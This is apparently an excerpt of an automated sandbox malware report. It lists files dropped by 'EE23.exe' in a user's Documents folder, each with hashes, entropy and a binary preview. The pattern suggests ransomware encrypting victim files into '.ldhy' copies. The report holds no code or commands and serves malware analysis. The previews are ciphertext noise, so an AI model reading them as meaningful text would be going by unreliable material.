                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.844980207673203
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:et5Y8yUBKbpLWxq+ehahTRWlC2Xe8NsY8LGM+aPDYsbD:erY8yUEcyaCC2OS6GjnmD
                                                                                                                                                                                                                                                              MD5:9381C6D9DE057AA8B87325C787412858
                                                                                                                                                                                                                                                              SHA1:4031EA32DB713B085B0542BB991E6F25861A92B7
                                                                                                                                                                                                                                                              SHA-256:9873BA437BEFE6D0C7F803D7E33D8863BEADAC5717434E8CD07431AA0DA7F6B9
                                                                                                                                                                                                                                                              SHA-512:88F6CDCE79FBBDDA79CB42A517B751687D48C4E35A9F6AD65292B37562D58878D1C571A449D88FB885DB044E24CF76275E34069C5964590A41AEECE4EBC7FA0B
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:QCOIL.7..E.....]..Fu@.....:....I.X.d..T....CyF...8. exUe..ov....}T....U..#.8Sh...N..H....#....7.$..-....h.U^.\;.$.../.....H..W.....2$rFw..K.-<. f.....zI..../.`p&..^...?%..Hv..H.|.^%yH_.X...59...B...g..MTs-..^...o..(!>.....1......$!.....Z6.WY.....%....@.....&R...6A..V.i;a...0.z..........7.D......2.d.-..B8t...R...-..u.m<...!F...FCi'u.LJ.....].=...V...>4 ....Q.Xkh..T...3..QP.....F+F..\..s...D...r...Is.s..f..5J.R.....s.9..v+gI.>v.49.>.(....f..x..'...C.}*.6.0P..pl|q...........[..-H.l]..,."....S.l....h5.`..<./Rv..n)...p.ID..U.I.:.$in..y.{......|U.)....>...I....w..o.Nt....Y..lF.....l....^.O...U.QAm....go....7..~]'...#........'......I....E&FA.......o6.Y..h.7.t.B/..Y...s...ZW2....4.".Z...o....i_6X..e;.I5......k.k.......aO.*...?1...'...*..f.4.uZ.{U.b..y..&8y%.`B4<h.v.u2...\G.3{W{J......aB.Y..0....2...qP...5..J........ktA.@.0.....|.....o...n.p&Z...Z.i.D......DQ....-..`!....45.)..yB.)'.?.e.;w....~......mf ....J...xD....l....I...$.;.L..@..5^E

                                                                                                                                                                                                                                                              C:\Users\user\Documents\EEGWXUHVUG\QCOILOQIKC.mp3.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.844980207673203
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:et5Y8yUBKbpLWxq+ehahTRWlC2Xe8NsY8LGM+aPDYsbD:erY8yUEcyaCC2OS6GjnmD
                                                                                                                                                                                                                                                              MD5:9381C6D9DE057AA8B87325C787412858
                                                                                                                                                                                                                                                              SHA1:4031EA32DB713B085B0542BB991E6F25861A92B7
                                                                                                                                                                                                                                                              SHA-256:9873BA437BEFE6D0C7F803D7E33D8863BEADAC5717434E8CD07431AA0DA7F6B9
                                                                                                                                                                                                                                                              SHA-512:88F6CDCE79FBBDDA79CB42A517B751687D48C4E35A9F6AD65292B37562D58878D1C571A449D88FB885DB044E24CF76275E34069C5964590A41AEECE4EBC7FA0B
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:QCOIL.7..E.....]..Fu@.....:....I.X.d..T....CyF...8. exUe..ov....}T....U..#.8Sh...N..H....#....7.$..-....h.U^.\;.$.../.....H..W.....2$rFw..K.-<. f.....zI..../.`p&..^...?%..Hv..H.|.^%yH_.X...59...B...g..MTs-..^...o..(!>.....1......$!.....Z6.WY.....%....@.....&R...6A..V.i;a...0.z..........7.D......2.d.-..B8t...R...-..u.m<...!F...FCi'u.LJ.....].=...V...>4 ....Q.Xkh..T...3..QP.....F+F..\..s...D...r...Is.s..f..5J.R.....s.9..v+gI.>v.49.>.(....f..x..'...C.}*.6.0P..pl|q...........[..-H.l]..,."....S.l....h5.`..<./Rv..n)...p.ID..U.I.:.$in..y.{......|U.)....>...I....w..o.Nt....Y..lF.....l....^.O...U.QAm....go....7..~]'...#........'......I....E&FA.......o6.Y..h.7.t.B/..Y...s...ZW2....4.".Z...o....i_6X..e;.I5......k.k.......aO.*...?1...'...*..f.4.uZ.{U.b..y..&8y%.`B4<h.v.u2...\G.3{W{J......aB.Y..0....2...qP...5..J........ktA.@.0.....|.....o...n.p&Z...Z.i.D......DQ....-..`!....45.)..yB.)'.?.e.;w....~......mf ....J...xD....l....I...$.;.L..@..5^E

                                                                                                                                                                                                                                                              C:\Users\user\Documents\EFOYFBOLXA.mp3

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.836655410107605
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:knZ32wiGgT8qmDlqf+BEED46YITwWvIU6Jb0SQaCzVf1Zv0Ek4sbD:+dCxAU8DTTq10SqVdRvk4mD
                                                                                                                                                                                                                                                              MD5:7120004855FC2EED4C586E16F6E73475
                                                                                                                                                                                                                                                              SHA1:920189EEEA68D892E75DA49F862D84364CF97530
                                                                                                                                                                                                                                                              SHA-256:046D05B350924087EE544E2407CCA3907EAF4E5D6BC4B3788E16F5F31B8A75D3
                                                                                                                                                                                                                                                              SHA-512:928C1DFD43ADB8392A883FB449C3D99CC76CEAF287A5420C389E113E6BA6157A8FC2B034C9C8FEC4AA667B21219EF80131A7E74A3CC796473336E1ED65BBAB6E
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EFOYF...?Jq..P........y....k...u. ..)...G.....~.....L.(3.8`0.v.'.*..{?.(.,...vL..V.....!&.a@.M....Q..E+KMSK.ukc..)..U=Q-:.w3.....]....c6..B..l.?M.H....8.....Q...};.h.8.Zq.$.x..[b7.w|(..AKk.........}...U.)..8.i/;...N&fn.CY.b...c./:l.O.C.[.?..V_w.....D..|3..|.:.........!......7ss.p-m.q"X...9....e...(r..".V...v:h.}.....x.k;D4.q.g-Y..ru.i;....@0."v.+....Z..E.{.......0oXo..o.#H7...6SD.TxY...<H.C..... x.K.A\-.N.4Ll-..H@..b.6..m.[.h.5..o.b.v...=)...I].~I=<..n.0a^C.~..4{.+.aN..t....t.....R,.6X.Go.0.[..<7....Q...K.JC.%#.{;.N.TP..........K,......6..(.o/....Uj.......l..4i.8.O..vs..rF....-......!q.p.{u..#.u.,x.....O0..8..k........;S*. .m._q.....E$...!b.f............A...*..a.E.3.N-.d.[7'.f..rXG.A..C;.t.#..|...zS.3.xY....7:$....?...jj..sW../.H4C.+7....(.u..l..1p....[H.o....U...>.....!S.o.z.fq.N|x."..:f....H."....S...:..n<4...}f.....,J...P.l;F3...I..S8.39..)8...<0Y..-g......S....?...Ji...X..e.l...A.4..~4....E.t../G.?Q.3[z.6xc...5:e... 8...4..E..Va....G...a7.H.

                                                                                                                                                                                                                                                              C:\Users\user\Documents\EFOYFBOLXA.mp3.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.836655410107605
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:knZ32wiGgT8qmDlqf+BEED46YITwWvIU6Jb0SQaCzVf1Zv0Ek4sbD:+dCxAU8DTTq10SqVdRvk4mD
                                                                                                                                                                                                                                                              MD5:7120004855FC2EED4C586E16F6E73475
                                                                                                                                                                                                                                                              SHA1:920189EEEA68D892E75DA49F862D84364CF97530
                                                                                                                                                                                                                                                              SHA-256:046D05B350924087EE544E2407CCA3907EAF4E5D6BC4B3788E16F5F31B8A75D3
                                                                                                                                                                                                                                                              SHA-512:928C1DFD43ADB8392A883FB449C3D99CC76CEAF287A5420C389E113E6BA6157A8FC2B034C9C8FEC4AA667B21219EF80131A7E74A3CC796473336E1ED65BBAB6E
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EFOYF...?Jq..P........y....k...u. ..)...G.....~.....L.(3.8`0.v.'.*..{?.(.,...vL..V.....!&.a@.M....Q..E+KMSK.ukc..)..U=Q-:.w3.....]....c6..B..l.?M.H....8.....Q...};.h.8.Zq.$.x..[b7.w|(..AKk.........}...U.)..8.i/;...N&fn.CY.b...c./:l.O.C.[.?..V_w.....D..|3..|.:.........!......7ss.p-m.q"X...9....e...(r..".V...v:h.}.....x.k;D4.q.g-Y..ru.i;....@0."v.+....Z..E.{.......0oXo..o.#H7...6SD.TxY...<H.C..... x.K.A\-.N.4Ll-..H@..b.6..m.[.h.5..o.b.v...=)...I].~I=<..n.0a^C.~..4{.+.aN..t....t.....R,.6X.Go.0.[..<7....Q...K.JC.%#.{;.N.TP..........K,......6..(.o/....Uj.......l..4i.8.O..vs..rF....-......!q.p.{u..#.u.,x.....O0..8..k........;S*. .m._q.....E$...!b.f............A...*..a.E.3.N-.d.[7'.f..rXG.A..C;.t.#..|...zS.3.xY....7:$....?...jj..sW../.H4C.+7....(.u..l..1p....[H.o....U...>.....!S.o.z.fq.N|x."..:f....H."....S...:..n<4...}f.....,J...P.l;F3...I..S8.39..)8...<0Y..-g......S....?...Ji...X..e.l...A.4..~4....E.t../G.?Q.3[z.6xc...5:e... 8...4..E..Va....G...a7.H.

                                                                                                                                                                                                                                                              C:\Users\user\Documents\EIVQSAOTAQ.jpg

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.840619161731104
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:Rs+Yjpfx7QzkQokjjqxi/HEJPf+FTMKzynwuB2wy3BmPWqIV3Deqtj/0csbD:mVZUkkj9HdTLynwu4wgBTqIxDJZ/mD
                                                                                                                                                                                                                                                              MD5:5BEBEAF5C95108EB52F2D7A150CBA2D0
                                                                                                                                                                                                                                                              SHA1:674B21F0E3720E0A43BBC61BC3C8E3632E7A0901
                                                                                                                                                                                                                                                              SHA-256:D9B9A24B25667EB59656EA848B1811439B47AF16B09986003518BD47B4A38C62
                                                                                                                                                                                                                                                              SHA-512:1B537B487830EED90C9B22E54AC9D449BDB6632A7BEE64CF43DEAD9637A73635DD76B5B0FBFD79BD5D1E673F7D96976C8A19E1DB72D1412EB4FD730F8E1A8814
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EIVQS...M...*^...OZ.D'Gg.m...7.&.}......._.S8.. .gm..flq..O...$6....'.ry...I..U.3$..<......f.$..a...\...z.g...FE...}...._G...zS..l}..K...p.E....Y.C3.../...nU..`S`..ae.XZ.-...&...[A.l...E Zn=.8..6.UO..-......U..y..kq.1m..A.~aFi.D....M...[U`B...>..E....d.hE..R..\.............\rZcn..rw.[7@..d....D.5...T.y.8._f..`.&.p....G..yT^w....SXW..<.>.c.0....D..W.s..>..E...~O.lwVLX...^nX../..i`w.U..y..y..*?..V.^.M.A*.T.Pn....0...zl..g.{....... ....o......k0|:...[.............H...+Y....../B..<..9.hj....l:u...}95.y..$:[.\...N."|....?...h+.rnE.>H..\]@F...!.O......w\..[...B..S.../..<...#.6&3f.N..v.3*7....H...&...>...!..m...'.:D...%.lRy...w;....d.J.U..b.9...Qg7.~.0.,....b6/m.T.fj%.4...<.v......-y.....:.....t...\.u>'..B.O .]....).Y.d....u..#(.~..h..JkD..X.Yn.R..c..D._..%w3.[..u.+.-n.A.u..>.!...n.....1Y.c.@!..}....~1.....?....B..V...$.....(...,.RH.d..}...^.S....,.......Cl....6$.U.^...czLEC.......J..........p.7m.|=.a.++.k..V.."..0..:..V.......\...1.....s.

                                                                                                                                                                                                                                                              C:\Users\user\Documents\EIVQSAOTAQ.jpg.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.840619161731104
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:Rs+Yjpfx7QzkQokjjqxi/HEJPf+FTMKzynwuB2wy3BmPWqIV3Deqtj/0csbD:mVZUkkj9HdTLynwu4wgBTqIxDJZ/mD
                                                                                                                                                                                                                                                              MD5:5BEBEAF5C95108EB52F2D7A150CBA2D0
                                                                                                                                                                                                                                                              SHA1:674B21F0E3720E0A43BBC61BC3C8E3632E7A0901
                                                                                                                                                                                                                                                              SHA-256:D9B9A24B25667EB59656EA848B1811439B47AF16B09986003518BD47B4A38C62
                                                                                                                                                                                                                                                              SHA-512:1B537B487830EED90C9B22E54AC9D449BDB6632A7BEE64CF43DEAD9637A73635DD76B5B0FBFD79BD5D1E673F7D96976C8A19E1DB72D1412EB4FD730F8E1A8814
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EIVQS...M...*^...OZ.D'Gg.m...7.&.}......._.S8.. .gm..flq..O...$6....'.ry...I..U.3$..<......f.$..a...\...z.g...FE...}...._G...zS..l}..K...p.E....Y.C3.../...nU..`S`..ae.XZ.-...&...[A.l...E Zn=.8..6.UO..-......U..y..kq.1m..A.~aFi.D....M...[U`B...>..E....d.hE..R..\.............\rZcn..rw.[7@..d....D.5...T.y.8._f..`.&.p....G..yT^w....SXW..<.>.c.0....D..W.s..>..E...~O.lwVLX...^nX../..i`w.U..y..y..*?..V.^.M.A*.T.Pn....0...zl..g.{....... ....o......k0|:...[.............H...+Y....../B..<..9.hj....l:u...}95.y..$:[.\...N."|....?...h+.rnE.>H..\]@F...!.O......w\..[...B..S.../..<...#.6&3f.N..v.3*7....H...&...>...!..m...'.:D...%.lRy...w;....d.J.U..b.9...Qg7.~.0.,....b6/m.T.fj%.4...<.v......-y.....:.....t...\.u>'..B.O .]....).Y.d....u..#(.~..h..JkD..X.Yn.R..c..D._..%w3.[..u.+.-n.A.u..>.!...n.....1Y.c.@!..}....~1.....?....B..V...$.....(...,.RH.d..}...^.S....,.......Cl....6$.U.^...czLEC.......J..........p.7m.|=.a.++.k..V.."..0..:..V.......\...1.....s.

                                                                                                                                                                                                                                                              C:\Users\user\Documents\EIVQSAOTAQ.mp3

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.849497487704326
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:RV6/4dCUWdc+RZbObvar/2YGjRUfehdz0kkyqRSrRtJLEd345OPHHkMsbD:6gd4c+RZbOb2sjRhdzkyqqwBlEMmD
                                                                                                                                                                                                                                                              MD5:0F50EFE4CC78CA4B40DC0F16AFF311B9
                                                                                                                                                                                                                                                              SHA1:37FDF1A67557236454155B23FC3C317BC4650E19
                                                                                                                                                                                                                                                              SHA-256:5F90164E917DCF242C5361E29C3465987405E3B17CFA23BC5E4B3BC422793DFE
                                                                                                                                                                                                                                                              SHA-512:9205AC52F34FF0957B9822C9C9F661B6BFC26E06808EF47C79404BDB14B905E816A9C9DE1E6C97B6612578B0B447FB1D90F3D38F1B40E02817A26C6B60A3DE83
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EIVQS6.}.;...3.&Z+s..v.".`.M:.\...2...2.R.B.!......^n....NsN.....J.7.....5.8.c..-I...3s.....b...=.G.......)...$..2MI.q..w..3.n.......C..<;r......t.t.)...<<..=.....UR0.....o.....u0..B+..n.L*....Vz['e(.Q.@.5@.T,.4..;.T....D.%.Y..V..X\...S/..j.h.dr.BH..O.JK...}.S!.o..9.%.e.CC...[r......3O[/.]E.....;<W.........@tx).....2.u.z..E..r.`".........=..\.]I.~|.....4.-h......G....0..<...l=..2..=....=t.7..R'..(=./.ik.b...I+.]!...-*D...B..OP..........o.Wc..).._....K..y...#..:!j. .y..E..E$....^....H..).eK.M.rx..0.:?...Z.i......V../k. .4.._Vo.....9.I`.PDl.....;.....3..a....&..z...O...[0AI.[......:5.U..j.`QH.|0.....C8.Bo;>.x.Wd.z*.....].|..W...}.eN...^Q|....?f.ly-.D(R.C....X{....oLF..R.:T..g.$(.6..8.'.A.)...`...+UZ}.n...8...zv.......`'..."[5|.....|fO?.....Ac5.lD.........wV..Y.....w.....\.........].9w_2.._....4 .[A.@.....A......[L...s=.$Z)3p....G]X.Y>7=...d...{....D.!..z...>...{v......,....v3...I'si........T..c.O.1.Qa..S.^T.<.....B..M.+...e.

                                                                                                                                                                                                                                                              C:\Users\user\Documents\EIVQSAOTAQ.mp3.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.849497487704326
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:RV6/4dCUWdc+RZbObvar/2YGjRUfehdz0kkyqRSrRtJLEd345OPHHkMsbD:6gd4c+RZbOb2sjRhdzkyqqwBlEMmD
                                                                                                                                                                                                                                                              MD5:0F50EFE4CC78CA4B40DC0F16AFF311B9
                                                                                                                                                                                                                                                              SHA1:37FDF1A67557236454155B23FC3C317BC4650E19
                                                                                                                                                                                                                                                              SHA-256:5F90164E917DCF242C5361E29C3465987405E3B17CFA23BC5E4B3BC422793DFE
                                                                                                                                                                                                                                                              SHA-512:9205AC52F34FF0957B9822C9C9F661B6BFC26E06808EF47C79404BDB14B905E816A9C9DE1E6C97B6612578B0B447FB1D90F3D38F1B40E02817A26C6B60A3DE83
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EIVQS6.}.;...3.&Z+s..v.".`.M:.\...2...2.R.B.!......^n....NsN.....J.7.....5.8.c..-I...3s.....b...=.G.......)...$..2MI.q..w..3.n.......C..<;r......t.t.)...<<..=.....UR0.....o.....u0..B+..n.L*....Vz['e(.Q.@.5@.T,.4..;.T....D.%.Y..V..X\...S/..j.h.dr.BH..O.JK...}.S!.o..9.%.e.CC...[r......3O[/.]E.....;<W.........@tx).....2.u.z..E..r.`".........=..\.]I.~|.....4.-h......G....0..<...l=..2..=....=t.7..R'..(=./.ik.b...I+.]!...-*D...B..OP..........o.Wc..).._....K..y...#..:!j. .y..E..E$....^....H..).eK.M.rx..0.:?...Z.i......V../k. .4.._Vo.....9.I`.PDl.....;.....3..a....&..z...O...[0AI.[......:5.U..j.`QH.|0.....C8.Bo;>.x.Wd.z*.....].|..W...}.eN...^Q|....?f.ly-.D(R.C....X{....oLF..R.:T..g.$(.6..8.'.A.)...`...+UZ}.n...8...zv.......`'..."[5|.....|fO?.....Ac5.lD.........wV..Y.....w.....\.........].9w_2.._....4 .[A.@.....A......[L...s=.$Z)3p....G]X.Y>7=...d...{....D.!..z...>...{v......,....v3...I'si........T..c.O.1.Qa..S.^T.<.....B..M.+...e.

                                                                                                                                                                                                                                                              C:\Users\user\Documents\EIVQSAOTAQ.pdf

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.833890079558504
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:RH6VlY7RqTp+RZrQCoAWEm5RgcYAQhJrDwch7lsojtlEJM1C3HrQ1ouzb1OFsbD:l6LYtqTI7rQCzbmvGhDwch7lxPEJM1sO
                                                                                                                                                                                                                                                              MD5:320555D746565D262B4A508913B32DC2
                                                                                                                                                                                                                                                              SHA1:8073371088C803314BE3314F5496A64C373E14C6
                                                                                                                                                                                                                                                              SHA-256:C83A10AB040C5DEBDA34EB20C5BE5D34EBC56578A12DBAD7F8E4A144CAC8FA91
                                                                                                                                                                                                                                                              SHA-512:E5CAB0F06843D0EBE8B04D60A2DC3350BD13E0B706FD56AA6B12A6D437172154961827B3BF139D42D7F1ABAEAD0D64E084D3342CD9C34A7B7811692CB8EF2438
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EIVQS.V_J..y.<..6..7.l.........8...7.a..~..9...<X..F..[....!.....2.....8d=.pM.D(e.;..N`...TB$....3l._.M.*d2T..}.w.....g.:w*.....E..W2P..#.R.Y.p....#.-4D...S#x..`z.t...,%..;4.6x......O.d..~...8.I.dv....M%e..f..\ 9.>.!e..p...t.........!.|=OU....e[..k...m..8.-.(.-...T.I...:..\...|A...]..h..C.F....QyQ..lX190.:..?...5.$........&...b0....1..b....OF.<1.t.q.P.... .{..4..H....zB.$..ZO..~B2x?..pS..Z.....~.$....|.Na....S.@..~Z.S.......7......_:.....(.....\..l.>.J:)].......I-..{..s*pc~.E..........S...]F....s.._Fz......o.4..Fb.cS......o4..}.rx^;M...]..c.l.....?.k......1q6.WEH.S.{.O"U..{|.....y.qR.\..k_4..[..Pw....(.._.. ....6.u*..$|6Jm\<../....>..,....^1.V...E...k..../W..L.E...ZT..q....1...+..........,....... .W.!.\.A."fN.H.G....D..Wr;....V....E...)?9..W|{..,.L-.Y..r..v..M.cUQDA.D......D.fD4..%{./...4....RA1.....3....`...3.."x.&_.tw.f..*^..^.z.]L....^IU.!M...9....6...W..^....H...~.Wo.y..7r..a....)...-..$...s......?.E..o.4....E.A...hN1....]J....

                                                                                                                                                                                                                                                              C:\Users\user\Documents\EIVQSAOTAQ.pdf.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.833890079558504
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:RH6VlY7RqTp+RZrQCoAWEm5RgcYAQhJrDwch7lsojtlEJM1C3HrQ1ouzb1OFsbD:l6LYtqTI7rQCzbmvGhDwch7lxPEJM1sO
                                                                                                                                                                                                                                                              MD5:320555D746565D262B4A508913B32DC2
                                                                                                                                                                                                                                                              SHA1:8073371088C803314BE3314F5496A64C373E14C6
                                                                                                                                                                                                                                                              SHA-256:C83A10AB040C5DEBDA34EB20C5BE5D34EBC56578A12DBAD7F8E4A144CAC8FA91
                                                                                                                                                                                                                                                              SHA-512:E5CAB0F06843D0EBE8B04D60A2DC3350BD13E0B706FD56AA6B12A6D437172154961827B3BF139D42D7F1ABAEAD0D64E084D3342CD9C34A7B7811692CB8EF2438
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EIVQS.V_J..y.<..6..7.l.........8...7.a..~..9...<X..F..[....!.....2.....8d=.pM.D(e.;..N`...TB$....3l._.M.*d2T..}.w.....g.:w*.....E..W2P..#.R.Y.p....#.-4D...S#x..`z.t...,%..;4.6x......O.d..~...8.I.dv....M%e..f..\ 9.>.!e..p...t.........!.|=OU....e[..k...m..8.-.(.-...T.I...:..\...|A...]..h..C.F....QyQ..lX190.:..?...5.$........&...b0....1..b....OF.<1.t.q.P.... .{..4..H....zB.$..ZO..~B2x?..pS..Z.....~.$....|.Na....S.@..~Z.S.......7......_:.....(.....\..l.>.J:)].......I-..{..s*pc~.E..........S...]F....s.._Fz......o.4..Fb.cS......o4..}.rx^;M...]..c.l.....?.k......1q6.WEH.S.{.O"U..{|.....y.qR.\..k_4..[..Pw....(.._.. ....6.u*..$|6Jm\<../....>..,....^1.V...E...k..../W..L.E...ZT..q....1...+..........,....... .W.!.\.A."fN.H.G....D..Wr;....V....E...)?9..W|{..,.L-.Y..r..v..M.cUQDA.D......D.fD4..%{./...4....RA1.....3....`...3.."x.&_.tw.f..*^..^.z.]L....^IU.!M...9....6...W..^....H...~.Wo.y..7r..a....)...-..$...s......?.E..o.4....E.A...hN1....]J....

                                                                                                                                                                                                                                                              C:\Users\user\Documents\EOWRVPQCCS.png

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.844905513381696
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:dWJ15qtl8rYVI9bG+e0zP9aP6vAKYKiiLzBh4UNrjp76Jz9exEfnCRMxsbD:dWeFEPQITYpWluUhp+Jz9eafnCRKmD
                                                                                                                                                                                                                                                              MD5:056CF7F5EBB8D411123B0151F80BAEAE
                                                                                                                                                                                                                                                              SHA1:45FF6163F3F402C67EEDB25DC790933A61D8BD8E
                                                                                                                                                                                                                                                              SHA-256:B0F70507C594001FC725BADBECB11144D4CCE7BC36F84473A9DFDB5D503CFD50
                                                                                                                                                                                                                                                              SHA-512:9A420C414B6B0CE976C1175D740C4419B773785F62D93B211384CAC7647D6AAADF27211059052BCDB0D9FD9A2B9E2DD42896D84AF4AEA310F48F6E43342C481D
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EOWRV..]....KM...D....f2../..(c.r.......-'.q.....".b..>..u.&.j.v..ia.....bTP..%....j..K..N.*o..e.j..#.<.o.P~.^......w.n.*G.....0../..S.`.0.k..0..>.VSM..bjp.~..E%*..A#....,...t|..9@PD...g....V....+...@...|>,......%..>.t.\g...$......:x.....-.s........xz...L...".....X.O.B.&.....{O..xL...G....../...$.......T././3...W>p...U.m....9..:..b.^.....c.4.v..,we.&.3.Ak.........C..._20D..4K12.I>.........q1..dkh..,..R5...-.....Siz.nuqr.@zDC.f../.`....'ML.....y0x...'=.%.3.....A...+.....w...e.*3..........yG.yS........c%.A....>..9.J.E..p..Z..D.....V.c,D-..J..DY.s.s.....g...l...k.7.....%.5Y.E.{.C...$k.{...,y.l+...k..L..?.k...#<..K.....4..p,vt.y...{J..[`...}...ZO....?k....*"........X.#.*.[H'..w.vs..3.......r ^.....AC..6..$Tr....~.uM+.p^[.%.b.m.ljv.%...I..i....0.......... ..D!8........4..)....St/.E.8@.76E4.Y........{....%x....sp<"G..n.7M...9.NGV.`..j.?...D..RSzt3.w.Y..%..o-.v..\...............u.tx...8Y~h.....WDf....&.....*VA)E.2.,x.%)Q+..1.I......C+.)G.....

                                                                                                                                                                                                                                                              C:\Users\user\Documents\EOWRVPQCCS.png.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.844905513381696
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:dWJ15qtl8rYVI9bG+e0zP9aP6vAKYKiiLzBh4UNrjp76Jz9exEfnCRMxsbD:dWeFEPQITYpWluUhp+Jz9eafnCRKmD
                                                                                                                                                                                                                                                              MD5:056CF7F5EBB8D411123B0151F80BAEAE
                                                                                                                                                                                                                                                              SHA1:45FF6163F3F402C67EEDB25DC790933A61D8BD8E
                                                                                                                                                                                                                                                              SHA-256:B0F70507C594001FC725BADBECB11144D4CCE7BC36F84473A9DFDB5D503CFD50
                                                                                                                                                                                                                                                              SHA-512:9A420C414B6B0CE976C1175D740C4419B773785F62D93B211384CAC7647D6AAADF27211059052BCDB0D9FD9A2B9E2DD42896D84AF4AEA310F48F6E43342C481D
                                                                                                                                                                                                                                                              Malicious:false
